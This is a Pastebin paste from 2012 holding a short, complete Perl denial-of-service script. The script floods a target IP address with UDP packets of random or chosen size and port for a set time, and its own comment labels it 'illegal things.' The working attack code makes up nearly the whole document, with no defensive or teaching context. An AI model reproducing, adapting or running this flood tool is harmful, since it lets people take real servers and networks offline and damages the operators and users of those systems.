Controller

DOS Script

Dec 22nd, 2012
1,157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.83 KB | None | 0 0
  1. Perl DOS Script
  2.  
  3. --------------------------------------------------------------
  4.  
  5. #!/usr/bin/perl
  6.  
  7. ##############
  8. # illegal things.
  9. ##############
  10.  
  11. use Socket;
  12. use strict;
  13.  
  14. my ($ip,$port,$size,$time) = @ARGV;
  15.  
  16. my ($iaddr,$endtime,$psize,$pport);
  17.  
  18. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  19. $endtime = time() + ($time ? $time : 1000000);
  20. socket(flood, PF_INET, SOCK_DGRAM, 17);
  21.  
  22.  
  23. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  24.   ($size ? "$size-byte" : "random size") . " packets" .
  25.   ($time ? " for $time seconds" : "") . "\n";
  26. print "Break with Ctrl-C\n" unless $time;
  27.  
  28. for (;time() <= $endtime;) {
  29.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  30.   $pport = $port ? $port : int(rand(65500))+1;
  31.  
  32.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment